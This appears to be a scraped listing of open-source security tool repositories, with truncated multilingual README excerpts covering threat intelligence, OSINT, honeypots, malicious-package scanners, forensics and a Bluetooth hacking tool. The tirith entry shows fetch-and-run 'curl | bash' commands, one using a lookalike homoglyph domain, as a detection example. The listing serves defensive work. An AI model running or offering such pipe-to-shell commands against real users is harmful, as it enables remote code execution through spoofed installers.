klara

GReATのKLaraプロジェクト KLaraプロジェクトは、Yaraを用いた新たなマルウェアの脅威インテリジェンス調査を支援することを目的としています。 効率的にマルウェアを調査するには、検索対象となる大量のサンプルコレクションが必要です。研究者は通常、悪意のあるファイルのコレクションやセットに対してYaraルールを実行し、結果を取得します。場合によってはルールの調整が必要になります。残念ながら、大規模なファイルコレクションのスキャンには時間がかかります。代わりに、カスタムアーキテクチャを使用すれば、10TBのファイルを約30分でスキャンできます。...

bluing

Bluing Bluetoothハッキングのためのインテリジェンス収集ツール 英語 · 简体中文 %20%7C%20Kali%202022.4%20\x64%20%7C%20Kali%20NetHunter%202022.4%20\aarch64-brightgreen Bluing（旧称bluescan）は、主にPythonで書かれたBlu etooth In telligence G atheringツールです。複雑なプロトコルであるBluetoothの内部構造を覗き見たり、Bluetoothデバイスをハッキングするのに役立ちます。以下が主な機能です： インストール...

TIGMINT

TIGMINT : Twitter、Instagram、およびジオタグメディアインテリジェンス はじめに サイバー調査をより便利にするため、背景の技術的複雑さを隠す抽象化メカニズムを実装し、ソーシャルメディアインテリジェンス のためのさまざまな分析手法をまとめて、ユーザーが直感的に操作できるシンプルなWebインターフェースを提供することを目的としたOSINT（オープンソースインテリジェンス）ソフトウェアフレームワークです。 プレビュー .png モジュール チーム .png ドキュメント .png アカウント検索 .png Twitter分析...

fileintel

fileintel This is a tool used to collect various intelligence sources for a given file. Fileintel is written in a modular fashion so new intelligence sources can be easily added. Files are identified by file hash MD5, SHA1, SHA256. The output is in CSV format and sent to STDOUT so the data can be...

fileintel

fileintel このツールは、指定されたファイルに関する様々なインテリジェンスソースを収集するために使用されます。 Fileintel はモジュール方式で記述されているため、新しいインテリジェンスソースを簡単に追加できます。 ファイルはファイルハッシュ（MD5、SHA1、SHA256）で識別されます。出力はCSV形式でSTDOUTに送られるため、データを保存したり他のプログラムにパイプしたりできます。CSV形式なので、Excelなどのスプレッドシートやデータベースシステムで簡単にインポートできます。 このツールはPython v2で動作しますが、Python...

HFish

HFishの設計理念 HFishはコミュニティ型の無料ハニーポットです。企業のセキュリティシナリオに重点を置き、内部ネットワーク侵害検知、外部ネットワーク脅威認識、脅威インテリジェンス生成の3つのシナリオに基づいて、ユーザーに独立して操作可能で実用的な機能を提供します。安全、アジャイル、信頼性の高い中低インタラクションハニーポットにより、侵害認識と脅威インテリジェンスの分野におけるユーザーの能力を向上させます。 お問い合わせ HFishは、北京微步在線科技有限公司（Weibu Online Technology Co., Ltd.）が提供するコミュニティ型の無料ハニーポット製品です。...

data-breach

最新のデータ漏洩リポジトリ このリポジトリは、世界中で確認されたデータ漏洩の包括的かつ継続的に維持されたリストを提供します。各漏洩エントリには、通常は影響を受けた組織を反映した漏洩名と、インシデントの発生日が含まれます。これらの2つの主要フィールドにより、データの追跡、参照、および外部システムへの統合が容易になります。 リストは、Lunar、HIBP、Databreach から毎日更新され、情報を新鮮で信頼できるものに保っています。...

ore-mal-pkg-inspector

OreWatch マルチエコシステム悪意パッケージ検出・サプライチェーンセキュリティスキャナー npm、PyPI、Maven、RubyGems、Go、Cargo のエコシステムにわたる悪意パッケージとサプライチェーン脅威を検出するプロダクショングレードのセキュリティツール。信頼できるセキュリティソースから自動化された脅威インテリジェンス収集を活用して、プロジェクト内の侵害された依存関係を特定します。 OreWatch は製品および PyPI パッケージ名です。現在のソースリポジトリパスは引き続き ore-mal-pkg-inspector を使用しています。 動画 インストール...

cyberbro

Cyberbro ゴミのような入力からIoCを抽出し、複数のサービスを使ってそのレピュテーションをチェックするシンプルなアプリケーションです。 🌐demo.cyberbro.net 概要 Cybergordon と IntelOwl にインスパイアされています。 このプロジェクトは、複雑な ソリューションを導入することなく、複数のサービスを使って観測対象のレピュテーションを確認するための、シンプルかつ効率的な方法を提供することを目的としています。ドキュメントは https://docs.cyberbro.net/ をご覧ください。 !TIP カスタムレポートを作成するには、お好みの LL...

misp-galaxy

misp-galaxy MISP galaxy 是一种简单的方法，用于表达可附加到 MISP 事件或属性的大型对象（称为 cluster）。一个 cluster 可以由一个或多个元素组成，元素以键值对的形式表达。MISP galaxy 中提供了默认知识库（如威胁行为者、工具、勒索软件、ATT&CK 矩阵），但您可以根据需要对这些知识库进行覆盖、替换、更新、派生和共享。 现有的 cluster 和词汇表可以按原样使用，也可以作为通用知识库使用。MISP 分发机制可应用于每个 cluster，以实现有限或更广泛的分发方案。 Galaxy 还可用于表达现有的类矩阵标准，如 MITRE...

cve-mcp-server

🛡️ CVE MCP 服务器 AI 驱动的安全情报触手可及——28 个工具 + 一键triagecve 编排器，24 个数据源，一个协议。 一个生产级别的模型上下文协议（MCP）服务器 ，将 Claude 变成全能的安全分析师。无需在 NVD、EPSS、CISA KEV、Shodan、VirusTotal 和 GreyNoise 之间切换 15 个以上的浏览器标签页，只需向 Claude 提出一个问题，即可在数秒内获得关联情报。基于 Python、FastMCP、httpx、aiosqlite、Pydantic v2 和 defusedxml 构建。 问题所在： 对单个 CVE...

awesome-soc

Awesome SOC An operational handbook and knowledge base to build, run and mature a SOC including CSIRT. Covering: SOC basics detection engineering threat intelligence SOC metrics/KPI SOC automation AI use cases and best practices SOP SOC playbooks Those are my view, based on my own experience as...

ForensiX-Studio

ForensiX Studio Forensic Intelligence Platform | Malware Analysis | Threat Correlation Engine 🧠 Multi-Signal Analysis • ⚡ Behavioral Intelligence • 🎯 MITRE Mapping ⚠️ 法的免責事項 ForensiX Studioは、認可されたデジタルフォレンジック、セキュリティ研究、防御的分析のみを目的としています。 ✅ 自分が所有するファイルを分析する ✅ 明示的な許可を得たファイルを分析する ✅ ラボ、CTF、研究環境で使用する ❌...

Log4j_Attacker_IPList

Log4jAttackerIPList CVE-2021-44228 Log4j Attacker Ip List.xlsx...

IOCs

////////////////////// // //////////////////////// // /// /////// ///// /////// /////// /////// /////// //////// //////// //////// //////// //////// //////// //////// //////// //////// //////// /////// /////// /////// /////// ///// // ////// // // ///////////////////////// ///////////////////////...

libvshadow

libvshadow is a library to access the Volume Shadow Snapshot VSS format. The VSS format is used by Windows, as of Vista, to maintain copies of data on a storage media volume. Project information: Status: alpha Licence: LGPL-3.0-or-later Also see: OSDFC 2012: Paper - Windowless Shadow Snapshots:...

tirith

tirith ブラウザならこれを検知できる。ターミナルではできない。 Website | Docs | SKILL.md | Changelog | Releases 独立したオープンソースプロジェクト。ホスティングは Vercel Open Source Program（Spring 2026 Cohort）の支援を受けています。 違いがわかりますか？ curl -sSL https://install.example-cli.dev | bash safe curl -sSL https://іnstall.example-clі.dev | bash compromised...

depx

depx 悪意のあるパッケージ & サプライチェーンインテリジェンス 機能 • インストール • 使い方 • depx の実行 • JSON • Discord に参加 は、高速で受動的なサプライチェーンインテリジェンス CLI です。このツールは、 データ（、OSV 形式）と、 から収集された 1 時間ごとに更新されるライブインテリジェンスフィードを照合することで、パッケージが （ハイジャックされた公開、認証情報窃取、インストールスクリプトのバックドア）かどうかを教えてくれます。...

Awesome-FOFA

Awesome-FOFA ライブラリ 📒 中文 README FOFA を始める 初心者ガイド FOFA で無料の F-point を取得する方法は？ FOFA と AI 次世代攻撃面インベントリ：無料トライアル実施中！ 基本シナリオ FOFA を使って無料の LLM リソースを見つける方法は？ 新しいアプローチで FOFA 検索効率を向上させる FOFA でアセットを個別に更新する方法は？ FOFA でファジー検索を正しく使う方法 アセット発見において証明書による干渉を効果的に排除する方法 神の視点からのアセットインベントリ FOFA で大量のアセットを取得する最善の方法...

ioc2rpz

ioc2rpz™ 让您的威胁情报可付诸行动 目录 简短摘要 概述 ioc2rpz™ —— 威胁情报与 DNS 的交汇点 架构概述 如何使用 ioc2rpz™ ioc2rpz™ Web 界面 协议支持 端口摘要 UDP（端口 53） TCP（端口 53） DNS over TLS / DoT（端口 853） DNS over HTTPS / DoH（端口 443/8443） 速率限制 DNS NOTIFY ioc2rpz™ 与 ISC BIND 及其他 DNS 的对比 安装 Docker 容器 环境变量 Docker Compose 在 AWS 上运行 ioc2rpz™ 证书设置 从源码构...